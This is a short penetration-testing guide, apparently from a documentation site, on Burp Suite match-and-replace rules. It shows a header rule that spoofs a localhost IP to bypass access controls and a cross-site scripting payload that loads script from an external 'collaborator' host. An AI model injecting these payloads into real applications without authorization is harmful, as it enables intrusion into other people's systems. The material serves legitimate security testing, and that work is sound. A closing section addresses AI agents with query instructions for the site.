# Match and Replace

Burp Suite allows you to configure match and replace rules which will automagically modify reuqests and responses made while exploring the target application. This can be used to automate testing for a specific vulnerability and/or ease interaction with the application.

1. Go to **Tools** > **Proxy**.
2. Under **Match and Replace**, click **Add**.
3. Leave the **Match** field empty. This ensures that Burp will append a new header to requests rather than replacing an existing one.
4. In the **Replace** field, enter the following:
5. `X-Custom-IP-Authorization: 127.0.0.1`
6. Click **OK**.
7. Burp Proxy will now add this header to every request you make in Burp's browser.

<figure><img src="/files/qN0VG4v1Taiea2eTBH7m" alt=""><figcaption></figcaption></figure>

### Cross-site Scripting

Create a match and replace rule like above to match a random string such as `P4rz1v4L` and replace it with the following:

```
'"><script src="https://collaborator"></script><h1>test
```

<figure><img src="/files/Fxrv6zpmCVds9L4LB3QF" alt=""><figcaption><p>Source: <a href="https://twitter.com/xnl_h4ck3r/status/1602402711231676421">https://twitter.com/xnl_h4ck3r/status/1602402711231676421</a></p></figcaption></figure>

### References

{% embed url="<https://portswigger.net/burp/documentation/desktop/tutorials/using-match-and-replace>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/web-applications/tooling/burp-suite/match-and-replace.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
